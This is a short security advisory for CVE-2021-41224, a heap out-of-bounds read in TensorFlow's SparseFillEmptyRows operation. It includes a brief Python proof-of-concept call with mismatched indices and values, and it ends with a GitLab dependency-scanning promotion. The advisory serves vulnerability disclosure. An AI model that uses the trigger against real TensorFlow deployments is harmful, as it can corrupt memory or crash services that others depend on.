CVE-2021-41224: `SparseFillEmptyRows` heap OOB

(updated )

The implementation of SparseFillEmptyRows can be made to trigger a heap OOB access:

import tensorflow as tf

data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')

This occurs whenever the size of indices does not match the size of values.

References

Detect and mitigate CVE-2021-41224 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →